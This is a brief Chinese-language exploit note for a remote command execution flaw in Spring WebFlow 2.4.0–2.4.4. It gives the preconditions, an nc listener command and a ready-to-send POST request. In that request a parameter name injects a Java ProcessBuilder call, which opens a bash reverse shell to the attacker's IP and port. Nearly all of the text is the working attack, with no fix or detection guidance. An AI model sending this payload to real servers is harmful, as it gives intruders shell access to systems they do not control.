前言

Java的Spring WebFlow框架远程命令执行漏洞利用

漏洞利用前提

  • Spring WebFlow 2.4.0 - 2.4.4
  • 后端API接口调用了addDefaultMapping()方法和addModelBinding()方法

攻击者监听反弹Shell

1
nc -lvp <port>

exp

  • 修改请求体

<ip>:攻击者IP地址
<port>:攻击者端口
_csrf=<uuid>:应该与原本请求的csrf保持一致

request
1
2
3
4
POST http://example.com
Content-Type: application/x-www-form-urlencoded

_eventId_confirm=&_csrf=<uuid>&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/<ip>/<port>+0>%261")).start()=x

完成